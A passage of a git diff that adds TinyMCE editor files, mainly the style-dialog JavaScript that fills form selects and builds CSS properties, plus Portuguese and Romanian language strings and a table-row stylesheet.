'style_background_repeat', defaultRepeat, ';', true); + + fillSelect(0, 'background_hpos_measurement', 'style_background_hpos_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'background_vpos_measurement', 'style_background_vpos_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'background_hpos', 'style_background_hpos', defaultPosH, ';', true); + fillSelect(0, 'background_vpos', 'style_background_vpos', defaultPosV, ';', true); + + fillSelect(0, 'block_wordspacing', 'style_wordspacing', 'normal', ';', true); + fillSelect(0, 'block_wordspacing_measurement', 'style_wordspacing_measurement', defaultSpacingMeasurement, ';', true); + fillSelect(0, 'block_letterspacing', 'style_letterspacing', 'normal', ';', true); + fillSelect(0, 'block_letterspacing_measurement', 'style_letterspacing_measurement', defaultSpacingMeasurement, ';', true); + fillSelect(0, 'block_vertical_alignment', 'style_vertical_alignment', defaultVAlign, ';', true); + fillSelect(0, 'block_text_align', 'style_text_align', "left;right;center;justify", ';', true); + fillSelect(0, 'block_whitespace', 'style_whitespace', "normal;pre;nowrap", ';', true); + fillSelect(0, 'block_display', 'style_display', defaultDisplay, ';', true); + fillSelect(0, 'block_text_indent_measurement', 'style_text_indent_measurement', defaultIndentMeasurement, ';', true); + + fillSelect(0, 'box_width_measurement', 'style_box_width_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_height_measurement', 'style_box_height_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_float', 'style_float', 'left;right;none', ';', true); + fillSelect(0, 'box_clear', 'style_clear', 'left;right;both;none', ';', true); + fillSelect(0, 'box_padding_left_measurement', 'style_padding_left_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_padding_top_measurement', 'style_padding_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_padding_bottom_measurement', 'style_padding_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_padding_right_measurement', 'style_padding_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_left_measurement', 'style_margin_left_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_top_measurement', 'style_margin_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_bottom_measurement', 'style_margin_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_right_measurement', 'style_margin_right_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'border_style_top', 'style_border_style_top', defaultBorderStyle, ';', true); + fillSelect(0, 'border_style_right', 'style_border_style_right', defaultBorderStyle, ';', true); + fillSelect(0, 'border_style_bottom', 'style_border_style_bottom', defaultBorderStyle, ';', true); + fillSelect(0, 'border_style_left', 'style_border_style_left', defaultBorderStyle, ';', true); + + fillSelect(0, 'border_width_top', 'style_border_width_top', defaultBorderWidth, ';', true); + fillSelect(0, 'border_width_right', 'style_border_width_right', defaultBorderWidth, ';', true); + fillSelect(0, 'border_width_bottom', 'style_border_width_bottom', defaultBorderWidth, ';', true); + fillSelect(0, 'border_width_left', 'style_border_width_left', defaultBorderWidth, ';', true); + + fillSelect(0, 'border_width_top_measurement', 'style_border_width_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'border_width_right_measurement', 'style_border_width_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'border_width_bottom_measurement', 'style_border_width_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'border_width_left_measurement', 'style_border_width_left_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'list_type', 'style_list_type', defaultListType, ';', true); + fillSelect(0, 'list_position', 'style_list_position', "inside;outside", ';', true); + + fillSelect(0, 'positioning_type', 'style_positioning_type', "absolute;relative;static", ';', true); + fillSelect(0, 'positioning_visibility', 'style_positioning_visibility', "inherit;visible;hidden", ';', true); + + fillSelect(0, 'positioning_width_measurement', 'style_positioning_width_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_height_measurement', 'style_positioning_height_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_overflow', 'style_positioning_overflow', "visible;hidden;scroll;auto", ';', true); + + fillSelect(0, 'positioning_placement_top_measurement', 'style_positioning_placement_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_placement_right_measurement', 'style_positioning_placement_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_placement_bottom_measurement', 'style_positioning_placement_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_placement_left_measurement', 'style_positioning_placement_left_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'positioning_clip_top_measurement', 'style_positioning_clip_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_clip_right_measurement', 'style_positioning_clip_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_clip_bottom_measurement', 'style_positioning_clip_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_clip_left_measurement', 'style_positioning_clip_left_measurement', defaultMeasurement, ';', true); + + TinyMCE_EditableSelects.init(); + setupFormData(); + showDisabledControls(); +} + +function setupFormData() { + var ce = document.getElementById('container'), f = document.forms[0], s, b, i; + + // Setup text fields + + selectByValue(f, 'text_font', ce.style.fontFamily, true, true); + selectByValue(f, 'text_size', getNum(ce.style.fontSize), true, true); + selectByValue(f, 'text_size_measurement', getMeasurement(ce.style.fontSize)); + selectByValue(f, 'text_weight', ce.style.fontWeight, true, true); + selectByValue(f, 'text_style', ce.style.fontStyle, true, true); + selectByValue(f, 'text_lineheight', getNum(ce.style.lineHeight), true, true); + selectByValue(f, 'text_lineheight_measurement', getMeasurement(ce.style.lineHeight)); + selectByValue(f, 'text_case', ce.style.textTransform, true, true); + selectByValue(f, 'text_variant', ce.style.fontVariant, true, true); + f.text_color.value = tinyMCEPopup.editor.dom.toHex(ce.style.color); + updateColor('text_color_pick', 'text_color'); + f.text_underline.checked = inStr(ce.style.textDecoration, 'underline'); + f.text_overline.checked = inStr(ce.style.textDecoration, 'overline'); + f.text_linethrough.checked = inStr(ce.style.textDecoration, 'line-through'); + f.text_blink.checked = inStr(ce.style.textDecoration, 'blink'); + f.text_none.checked = inStr(ce.style.textDecoration, 'none'); + updateTextDecorations(); + + // Setup background fields + + f.background_color.value = tinyMCEPopup.editor.dom.toHex(ce.style.backgroundColor); + updateColor('background_color_pick', 'background_color'); + f.background_image.value = ce.style.backgroundImage.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1"); + selectByValue(f, 'background_repeat', ce.style.backgroundRepeat, true, true); + selectByValue(f, 'background_attachment', ce.style.backgroundAttachment, true, true); + selectByValue(f, 'background_hpos', getNum(getVal(ce.style.backgroundPosition, 0)), true, true); + selectByValue(f, 'background_hpos_measurement', getMeasurement(getVal(ce.style.backgroundPosition, 0))); + selectByValue(f, 'background_vpos', getNum(getVal(ce.style.backgroundPosition, 1)), true, true); + selectByValue(f, 'background_vpos_measurement', getMeasurement(getVal(ce.style.backgroundPosition, 1))); + + // Setup block fields + + selectByValue(f, 'block_wordspacing', getNum(ce.style.wordSpacing), true, true); + selectByValue(f, 'block_wordspacing_measurement', getMeasurement(ce.style.wordSpacing)); + selectByValue(f, 'block_letterspacing', getNum(ce.style.letterSpacing), true, true); + selectByValue(f, 'block_letterspacing_measurement', getMeasurement(ce.style.letterSpacing)); + selectByValue(f, 'block_vertical_alignment', ce.style.verticalAlign, true, true); + selectByValue(f, 'block_text_align', ce.style.textAlign, true, true); + f.block_text_indent.value = getNum(ce.style.textIndent); + selectByValue(f, 'block_text_indent_measurement', getMeasurement(ce.style.textIndent)); + selectByValue(f, 'block_whitespace', ce.style.whiteSpace, true, true); + selectByValue(f, 'block_display', ce.style.display, true, true); + + // Setup box fields + + f.box_width.value = getNum(ce.style.width); + selectByValue(f, 'box_width_measurement', getMeasurement(ce.style.width)); + + f.box_height.value = getNum(ce.style.height); + selectByValue(f, 'box_height_measurement', getMeasurement(ce.style.height)); + selectByValue(f, 'box_float', ce.style.cssFloat || ce.style.styleFloat, true, true); + + selectByValue(f, 'box_clear', ce.style.clear, true, true); + + setupBox(f, ce, 'box_padding', 'padding', ''); + setupBox(f, ce, 'box_margin', 'margin', ''); + + // Setup border fields + + setupBox(f, ce, 'border_style', 'border', 'Style'); + setupBox(f, ce, 'border_width', 'border', 'Width'); + setupBox(f, ce, 'border_color', 'border', 'Color'); + + updateColor('border_color_top_pick', 'border_color_top'); + updateColor('border_color_right_pick', 'border_color_right'); + updateColor('border_color_bottom_pick', 'border_color_bottom'); + updateColor('border_color_left_pick', 'border_color_left'); + + f.elements.border_color_top.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_top.value); + f.elements.border_color_right.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_right.value); + f.elements.border_color_bottom.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_bottom.value); + f.elements.border_color_left.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_left.value); + + // Setup list fields + + selectByValue(f, 'list_type', ce.style.listStyleType, true, true); + selectByValue(f, 'list_position', ce.style.listStylePosition, true, true); + f.list_bullet_image.value = ce.style.listStyleImage.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1"); + + // Setup box fields + + selectByValue(f, 'positioning_type', ce.style.position, true, true); + selectByValue(f, 'positioning_visibility', ce.style.visibility, true, true); + selectByValue(f, 'positioning_overflow', ce.style.overflow, true, true); + f.positioning_zindex.value = ce.style.zIndex ? ce.style.zIndex : ""; + + f.positioning_width.value = getNum(ce.style.width); + selectByValue(f, 'positioning_width_measurement', getMeasurement(ce.style.width)); + + f.positioning_height.value = getNum(ce.style.height); + selectByValue(f, 'positioning_height_measurement', getMeasurement(ce.style.height)); + + setupBox(f, ce, 'positioning_placement', '', '', ['top', 'right', 'bottom', 'left']); + + s = ce.style.clip.replace(new RegExp("rect\\('?([^']*)'?\\)", 'gi'), "$1"); + s = s.replace(/,/g, ' '); + + if (!hasEqualValues([getVal(s, 0), getVal(s, 1), getVal(s, 2), getVal(s, 3)])) { + f.positioning_clip_top.value = getNum(getVal(s, 0)); + selectByValue(f, 'positioning_clip_top_measurement', getMeasurement(getVal(s, 0))); + f.positioning_clip_right.value = getNum(getVal(s, 1)); + selectByValue(f, 'positioning_clip_right_measurement', getMeasurement(getVal(s, 1))); + f.positioning_clip_bottom.value = getNum(getVal(s, 2)); + selectByValue(f, 'positioning_clip_bottom_measurement', getMeasurement(getVal(s, 2))); + f.positioning_clip_left.value = getNum(getVal(s, 3)); + selectByValue(f, 'positioning_clip_left_measurement', getMeasurement(getVal(s, 3))); + } else { + f.positioning_clip_top.value = getNum(getVal(s, 0)); + selectByValue(f, 'positioning_clip_top_measurement', getMeasurement(getVal(s, 0))); + f.positioning_clip_right.value = f.positioning_clip_bottom.value = f.positioning_clip_left.value; + } + +// setupBox(f, ce, '', 'border', 'Color'); +} + +function getMeasurement(s) { + return s.replace(/^([0-9.]+)(.*)$/, "$2"); +} + +function getNum(s) { + if (new RegExp('^(?:[0-9.]+)(?:[a-z%]+)$', 'gi').test(s)) + return s.replace(/[^0-9.]/g, ''); + + return s; +} + +function inStr(s, n) { + return new RegExp(n, 'gi').test(s); +} + +function getVal(s, i) { + var a = s.split(' '); + + if (a.length > 1) + return a[i]; + + return ""; +} + +function setValue(f, n, v) { + if (f.elements[n].type == "text") + f.elements[n].value = v; + else + selectByValue(f, n, v, true, true); +} + +function setupBox(f, ce, fp, pr, sf, b) { + if (typeof(b) == "undefined") + b = ['Top', 'Right', 'Bottom', 'Left']; + + if (isSame(ce, pr, sf, b)) { + f.elements[fp + "_same"].checked = true; + + setValue(f, fp + "_top", getNum(ce.style[pr + b[0] + sf])); + f.elements[fp + "_top"].disabled = false; + + f.elements[fp + "_right"].value = ""; + f.elements[fp + "_right"].disabled = true; + f.elements[fp + "_bottom"].value = ""; + f.elements[fp + "_bottom"].disabled = true; + f.elements[fp + "_left"].value = ""; + f.elements[fp + "_left"].disabled = true; + + if (f.elements[fp + "_top_measurement"]) { + selectByValue(f, fp + '_top_measurement', getMeasurement(ce.style[pr + b[0] + sf])); + f.elements[fp + "_left_measurement"].disabled = true; + f.elements[fp + "_bottom_measurement"].disabled = true; + f.elements[fp + "_right_measurement"].disabled = true; + } + } else { + f.elements[fp + "_same"].checked = false; + + setValue(f, fp + "_top", getNum(ce.style[pr + b[0] + sf])); + f.elements[fp + "_top"].disabled = false; + + setValue(f, fp + "_right", getNum(ce.style[pr + b[1] + sf])); + f.elements[fp + "_right"].disabled = false; + + setValue(f, fp + "_bottom", getNum(ce.style[pr + b[2] + sf])); + f.elements[fp + "_bottom"].disabled = false; + + setValue(f, fp + "_left", getNum(ce.style[pr + b[3] + sf])); + f.elements[fp + "_left"].disabled = false; + + if (f.elements[fp + "_top_measurement"]) { + selectByValue(f, fp + '_top_measurement', getMeasurement(ce.style[pr + b[0] + sf])); + selectByValue(f, fp + '_right_measurement', getMeasurement(ce.style[pr + b[1] + sf])); + selectByValue(f, fp + '_bottom_measurement', getMeasurement(ce.style[pr + b[2] + sf])); + selectByValue(f, fp + '_left_measurement', getMeasurement(ce.style[pr + b[3] + sf])); + f.elements[fp + "_left_measurement"].disabled = false; + f.elements[fp + "_bottom_measurement"].disabled = false; + f.elements[fp + "_right_measurement"].disabled = false; + } + } +} + +function isSame(e, pr, sf, b) { + var a = [], i, x; + + if (typeof(b) == "undefined") + b = ['Top', 'Right', 'Bottom', 'Left']; + + if (typeof(sf) == "undefined" || sf == null) + sf = ""; + + a[0] = e.style[pr + b[0] + sf]; + a[1] = e.style[pr + b[1] + sf]; + a[2] = e.style[pr + b[2] + sf]; + a[3] = e.style[pr + b[3] + sf]; + + for (i=0; i 0 ? s.substring(1) : s; + + if (f.text_none.checked) + s = "none"; + + ce.style.textDecoration = s; + + // Build background styles + + ce.style.backgroundColor = f.background_color.value; + ce.style.backgroundImage = f.background_image.value != "" ? "url(" + f.background_image.value + ")" : ""; + ce.style.backgroundRepeat = f.background_repeat.value; + ce.style.backgroundAttachment = f.background_attachment.value; + + if (f.background_hpos.value != "") { + s = ""; + s += f.background_hpos.value + (isNum(f.background_hpos.value) ? f.background_hpos_measurement.value : "") + " "; + s += f.background_vpos.value + (isNum(f.background_vpos.value) ? f.background_vpos_measurement.value : ""); + ce.style.backgroundPosition = s; + } + + // Build block styles + + ce.style.wordSpacing = f.block_wordspacing.value + (isNum(f.block_wordspacing.value) ? f.block_wordspacing_measurement.value : ""); + ce.style.letterSpacing = f.block_letterspacing.value + (isNum(f.block_letterspacing.value) ? f.block_letterspacing_measurement.value : ""); + ce.style.verticalAlign = f.block_vertical_alignment.value; + ce.style.textAlign = f.block_text_align.value; + ce.style.textIndent = f.block_text_indent.value + (isNum(f.block_text_indent.value) ? f.block_text_indent_measurement.value : ""); + ce.style.whiteSpace = f.block_whitespace.value; + ce.style.display = f.block_display.value; + + // Build box styles + + ce.style.width = f.box_width.value + (isNum(f.box_width.value) ? f.box_width_measurement.value : ""); + ce.style.height = f.box_height.value + (isNum(f.box_height.value) ? f.box_height_measurement.value : ""); + ce.style.styleFloat = f.box_float.value; + ce.style.cssFloat = f.box_float.value; + + ce.style.clear = f.box_clear.value; + + if (!f.box_padding_same.checked) { + ce.style.paddingTop = f.box_padding_top.value + (isNum(f.box_padding_top.value) ? f.box_padding_top_measurement.value : ""); + ce.style.paddingRight = f.box_padding_right.value + (isNum(f.box_padding_right.value) ? f.box_padding_right_measurement.value : ""); + ce.style.paddingBottom = f.box_padding_bottom.value + (isNum(f.box_padding_bottom.value) ? f.box_padding_bottom_measurement.value : ""); + ce.style.paddingLeft = f.box_padding_left.value + (isNum(f.box_padding_left.value) ? f.box_padding_left_measurement.value : ""); + } else + ce.style.padding = f.box_padding_top.value + (isNum(f.box_padding_top.value) ? f.box_padding_top_measurement.value : ""); + + if (!f.box_margin_same.checked) { + ce.style.marginTop = f.box_margin_top.value + (isNum(f.box_margin_top.value) ? f.box_margin_top_measurement.value : ""); + ce.style.marginRight = f.box_margin_right.value + (isNum(f.box_margin_right.value) ? f.box_margin_right_measurement.value : ""); + ce.style.marginBottom = f.box_margin_bottom.value + (isNum(f.box_margin_bottom.value) ? f.box_margin_bottom_measurement.value : ""); + ce.style.marginLeft = f.box_margin_left.value + (isNum(f.box_margin_left.value) ? f.box_margin_left_measurement.value : ""); + } else + ce.style.margin = f.box_margin_top.value + (isNum(f.box_margin_top.value) ? f.box_margin_top_measurement.value : ""); + + // Build border styles + + if (!f.border_style_same.checked) { + ce.style.borderTopStyle = f.border_style_top.value; + ce.style.borderRightStyle = f.border_style_right.value; + ce.style.borderBottomStyle = f.border_style_bottom.value; + ce.style.borderLeftStyle = f.border_style_left.value; + } else + ce.style.borderStyle = f.border_style_top.value; + + if (!f.border_width_same.checked) { + ce.style.borderTopWidth = f.border_width_top.value + (isNum(f.border_width_top.value) ? f.border_width_top_measurement.value : ""); + ce.style.borderRightWidth = f.border_width_right.value + (isNum(f.border_width_right.value) ? f.border_width_right_measurement.value : ""); + ce.style.borderBottomWidth = f.border_width_bottom.value + (isNum(f.border_width_bottom.value) ? f.border_width_bottom_measurement.value : ""); + ce.style.borderLeftWidth = f.border_width_left.value + (isNum(f.border_width_left.value) ? f.border_width_left_measurement.value : ""); + } else + ce.style.borderWidth = f.border_width_top.value + (isNum(f.border_width_top.value) ? f.border_width_top_measurement.value : ""); + + if (!f.border_color_same.checked) { + ce.style.borderTopColor = f.border_color_top.value; + ce.style.borderRightColor = f.border_color_right.value; + ce.style.borderBottomColor = f.border_color_bottom.value; + ce.style.borderLeftColor = f.border_color_left.value; + } else + ce.style.borderColor = f.border_color_top.value; + + // Build list styles + + ce.style.listStyleType = f.list_type.value; + ce.style.listStylePosition = f.list_position.value; + ce.style.listStyleImage = f.list_bullet_image.value != "" ? "url(" + f.list_bullet_image.value + ")" : ""; + + // Build positioning styles + + ce.style.position = f.positioning_type.value; + ce.style.visibility = f.positioning_visibility.value; + + if (ce.style.width == "") + ce.style.width = f.positioning_width.value + (isNum(f.positioning_width.value) ? f.positioning_width_measurement.value : ""); + + if (ce.style.height == "") + ce.style.height = f.positioning_height.value + (isNum(f.positioning_height.value) ? f.positioning_height_measurement.value : ""); + + ce.style.zIndex = f.positioning_zindex.value; + ce.style.overflow = f.positioning_overflow.value; + + if (!f.positioning_placement_same.checked) { + ce.style.top = f.positioning_placement_top.value + (isNum(f.positioning_placement_top.value) ? f.positioning_placement_top_measurement.value : ""); + ce.style.right = f.positioning_placement_right.value + (isNum(f.positioning_placement_right.value) ? f.positioning_placement_right_measurement.value : ""); + ce.style.bottom = f.positioning_placement_bottom.value + (isNum(f.positioning_placement_bottom.value) ? f.positioning_placement_bottom_measurement.value : ""); + ce.style.left = f.positioning_placement_left.value + (isNum(f.positioning_placement_left.value) ? f.positioning_placement_left_measurement.value : ""); + } else { + s = f.positioning_placement_top.value + (isNum(f.positioning_placement_top.value) ? f.positioning_placement_top_measurement.value : ""); + ce.style.top = s; + ce.style.right = s; + ce.style.bottom = s; + ce.style.left = s; + } + + if (!f.positioning_clip_same.checked) { + s = "rect("; + s += (isNum(f.positioning_clip_top.value) ? f.positioning_clip_top.value + f.positioning_clip_top_measurement.value : "auto") + " "; + s += (isNum(f.positioning_clip_right.value) ? f.positioning_clip_right.value + f.positioning_clip_right_measurement.value : "auto") + " "; + s += (isNum(f.positioning_clip_bottom.value) ? f.positioning_clip_bottom.value + f.positioning_clip_bottom_measurement.value : "auto") + " "; + s += (isNum(f.positioning_clip_left.value) ? f.positioning_clip_left.value + f.positioning_clip_left_measurement.value : "auto"); + s += ")"; + + if (s != "rect(auto auto auto auto)") + ce.style.clip = s; + } else { + s = "rect("; + t = isNum(f.positioning_clip_top.value) ? f.positioning_clip_top.value + f.positioning_clip_top_measurement.value : "auto"; + s += t + " "; + s += t + " "; + s += t + " "; + s += t + ")"; + + if (s != "rect(auto auto auto auto)") + ce.style.clip = s; + } + + ce.style.cssText = ce.style.cssText; +} + +function isNum(s) { + return new RegExp('[0-9]+', 'g').test(s); +} + +function showDisabledControls() { + var f = document.forms, i, a; + + for (i=0; i 1) { + addSelectValue(f, s, p[0], p[1]); + + if (se) + selectByValue(f, s, p[1]); + } else { + addSelectValue(f, s, p[0], p[0]); + + if (se) + selectByValue(f, s, p[0]); + } + } +} + +function toggleSame(ce, pre) { + var el = document.forms[0].elements, i; + + if (ce.checked) { + el[pre + "_top"].disabled = false; + el[pre + "_right"].disabled = true; + el[pre + "_bottom"].disabled = true; + el[pre + "_left"].disabled = true; + + if (el[pre + "_top_measurement"]) { + el[pre + "_top_measurement"].disabled = false; + el[pre + "_right_measurement"].disabled = true; + el[pre + "_bottom_measurement"].disabled = true; + el[pre + "_left_measurement"].disabled = true; + } + } else { + el[pre + "_top"].disabled = false; + el[pre + "_right"].disabled = false; + el[pre + "_bottom"].disabled = false; + el[pre + "_left"].disabled = false; + + if (el[pre + "_top_measurement"]) { + el[pre + "_top_measurement"].disabled = false; + el[pre + "_right_measurement"].disabled = false; + el[pre + "_bottom_measurement"].disabled = false; + el[pre + "_left_measurement"].disabled = false; + } + } + + showDisabledControls(); +} + +function synch(fr, to) { + var f = document.forms[0]; + + f.elements[to].value = f.elements[fr].value; + + if (f.elements[fr + "_measurement"]) + selectByValue(f, to + "_measurement", f.elements[fr + "_measurement"].value); +} + +function updateTextDecorations(){ + var el = document.forms[0].elements; + + var textDecorations = ["text_underline", "text_overline", "text_linethrough", "text_blink"]; + var noneChecked = el["text_none"].checked; + tinymce.each(textDecorations, function(id) { + el[id].disabled = noneChecked; + if (noneChecked) { + el[id].checked = false; + } + }); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/pt.js b/js/tiny_mce/themes/advanced/skins/o2k7/pt.js new file mode 100755 index 0000000..48d17b1 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/pt.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.advanced',{"underline_desc":"Sublinhado (Ctrl+U)","italic_desc":"It\u00e1lico (Ctrl+I)","bold_desc":"Negrito (Ctrl+B)",dd:"Descri\u00e7\u00e3o da defini\u00e7\u00e3o",dt:"Termo da defini\u00e7\u00e3o",samp:"Amostra de c\u00f3digo",code:"C\u00f3digo",blockquote:"Cita\u00e7\u00e3o em bloco",h6:"T\u00edtulo 6",h5:"T\u00edtulo 5",h4:"T\u00edtulo 4",h3:"T\u00edtulo 3",h2:"T\u00edtulo 2",h1:"T\u00edtulo 1",pre:"Pr\u00e9-formatado",address:"Endere\u00e7o",div:"Div",paragraph:"Par\u00e1grafo",block:"Formata\u00e7\u00e3o",fontdefault:"Tipo de fonte","font_size":"Tamanho","style_select":"Estilos","anchor_delta_width":"30","link_delta_height":"25","link_delta_width":"50","more_colors":"Mais cores","toolbar_focus":"Ir para as ferramentas - Alt+Q, Ir para o editor - Alt-Z, Ir para o endere\u00e7o do elemento - Alt-X",newdocument:"Tem a certeza que deseja apagar tudo?",path:"Endere\u00e7o","clipboard_msg":"Copiar/recortar/colar n\u00e3o est\u00e1 dispon\u00edvel no Mozilla e Firefox. Deseja mais informa\u00e7\u00f5es sobre este problema?","blockquote_desc":"Cita\u00e7\u00e3o em bloco","help_desc":"Ajuda","newdocument_desc":"Novo documento","image_props_desc":"Propriedades da imagem","paste_desc":"Colar","copy_desc":"Copiar","cut_desc":"Recortar","anchor_desc":"Inserir/editar \u00e2ncora","visualaid_desc":"Alternar guias/elementos invis\u00edveis","charmap_desc":"Inserir caracteres especiais","backcolor_desc":"Selecionar a cor de fundo","forecolor_desc":"Selecionar a cor do texto","custom1_desc":"Insira aqui a sua descri\u00e7\u00e3o personalizada","removeformat_desc":"Remover formata\u00e7\u00e3o","hr_desc":"Inserir separador horizontal","sup_desc":"Superior \u00e0 linha","sub_desc":"Inferior \u00e0 linha","code_desc":"Editar c\u00f3digo fonte","cleanup_desc":"Limpar c\u00f3digo incorreto","image_desc":"Inserir/editar imagem","unlink_desc":"Remover hyperlink","link_desc":"Inserir/editar hyperlink","redo_desc":"Refazer (Ctrl+Y)","undo_desc":"Desfazer (Ctrl+Z)","indent_desc":"Aumentar recuo","outdent_desc":"Diminuir recuo","numlist_desc":"Numera\u00e7\u00e3o","bullist_desc":"Marcadores","justifyfull_desc":"Justificar","justifyright_desc":"Alinhar \u00e0 direita","justifycenter_desc":"Centralizar","justifyleft_desc":"Alinhar \u00e0 esquerda","striketrough_desc":"Riscado","help_shortcut":"Pressione ALT-F10 para barra de ferramentas. Pressione ALT-0 para ajuda","rich_text_area":"\u00c1rea de edi\u00e7\u00e3o rica","shortcuts_desc":"Ajuda acessibilidade",toolbar:"Barra de ferramentas","anchor_delta_height":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/pt_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/pt_dlg.js new file mode 100755 index 0000000..5310220 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.advhr_dlg',{size:"Altura",noshade:"Sem sombra",width:"Largura",normal:"Normal",widthunits:"Unids"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/quicktime.gif b/js/tiny_mce/themes/advanced/skins/o2k7/quicktime.gif new file mode 100755 index 0000000..8f10e7a Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/o2k7/quicktime.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/realmedia.gif b/js/tiny_mce/themes/advanced/skins/o2k7/realmedia.gif new file mode 100755 index 0000000..fdfe0b9 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/o2k7/realmedia.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/ro.js b/js/tiny_mce/themes/advanced/skins/o2k7/ro.js new file mode 100755 index 0000000..88899a8 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/ro.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.advanced',{"underline_desc":"Subliniat (Ctrl+U)","italic_desc":"Italic (Ctrl+I)","bold_desc":"\u00cengro\u0219at (Ctrl B)",dd:"Defini\u021bie",dt:"Termen definit ",samp:"Mostr\u0103 de cod",code:"Cod",blockquote:"Citat",h6:"Titlu 6",h5:"Titlu 5",h4:"Titlu 4",h3:"Titlu 3",h2:"Titlu 2",h1:"Titlu 1",pre:"Preformatat",address:"Adres\u0103",div:"Div",paragraph:"Paragraf",block:"Format",fontdefault:"Familie font","font_size":"M\u0103rime font","style_select":"Stiluri","more_colors":"Mai multe culori...","toolbar_focus":"Salt la instrumente - Alt Q, Salt la editor - Alt-Z, Salt la cale - Alt-X",newdocument:"Sigur vrei s\u0103 \u0219tergi tot?",path:"Cale","clipboard_msg":"Copierea/t\u0103ierea/lipirea nu sunt disponibile \u00een Mozilla \u0219i Firefox.\nVrei mai multe informa\u021bii despre aceast\u0103 problem\u0103?","blockquote_desc":"Citat","help_desc":"Ajutor","newdocument_desc":"Document nou","image_props_desc":"Detalii imagine","paste_desc":"Lipe\u0219te","copy_desc":"Copiaz\u0103","cut_desc":"Taie","anchor_desc":"Inserare/editare ancor\u0103","visualaid_desc":"Comut\u0103 ghidajele/elementele invizibile","charmap_desc":"Inserare caracter special","backcolor_desc":"Culoare fundal","forecolor_desc":"Culoare text","custom1_desc":"Introdu aici o descriere","removeformat_desc":"Anuleaz\u0103 formatarea","hr_desc":"Insereaz\u0103 linie orizontal\u0103","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"Editare surs\u0103 HTML","cleanup_desc":"Cur\u0103\u021b\u0103 codul","image_desc":"Inserare/editare imagine","unlink_desc":"\u0218terge leg\u0103tura","link_desc":"Inserare/editare leg\u0103tur\u0103","redo_desc":"Ref\u0103 (Ctrl+Y)","undo_desc":"Undo (Ctrl+Z)","indent_desc":"Indenteaz\u0103","outdent_desc":"De-indenteaz\u0103","numlist_desc":"List\u0103 ordonat\u0103","bullist_desc":"List\u0103 neordonat\u0103","justifyfull_desc":"Aliniere pe toat\u0103 l\u0103\u021bimea","justifyright_desc":"Aliniere la dreapta","justifycenter_desc":"Centrare","justifyleft_desc":"Aliniere la st\u00e2nga","striketrough_desc":"T\u0103iat","help_shortcut":"Apas\u0103 ALT-F10 pentru bara de unelte. Apas\u0103 ALT-0 pentru ajutor","rich_text_area":"Zon\u0103 de text formatat","shortcuts_desc":"Ajutor accesabilitate",toolbar:"Bar\u0103 de unelte","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/ro_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/ro_dlg.js new file mode 100755 index 0000000..d501da3 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.advhr_dlg',{size:"\u00cen\u0103l\u021bime",noshade:"F\u0103r\u0103 umbre",width:"L\u0103\u021bime",normal:"Normal",widthunits:"Unit\u0103\u021bi"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/row.css b/js/tiny_mce/themes/advanced/skins/o2k7/row.css new file mode 100755 index 0000000..0e397db --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/row.css @@ -0,0 +1,25 @@ +/* CSS file for row dialog in the table plugin */ + +.panel_wrapper div.current { + height: 200px; +} + +.advfield { + width: 200px; +} + 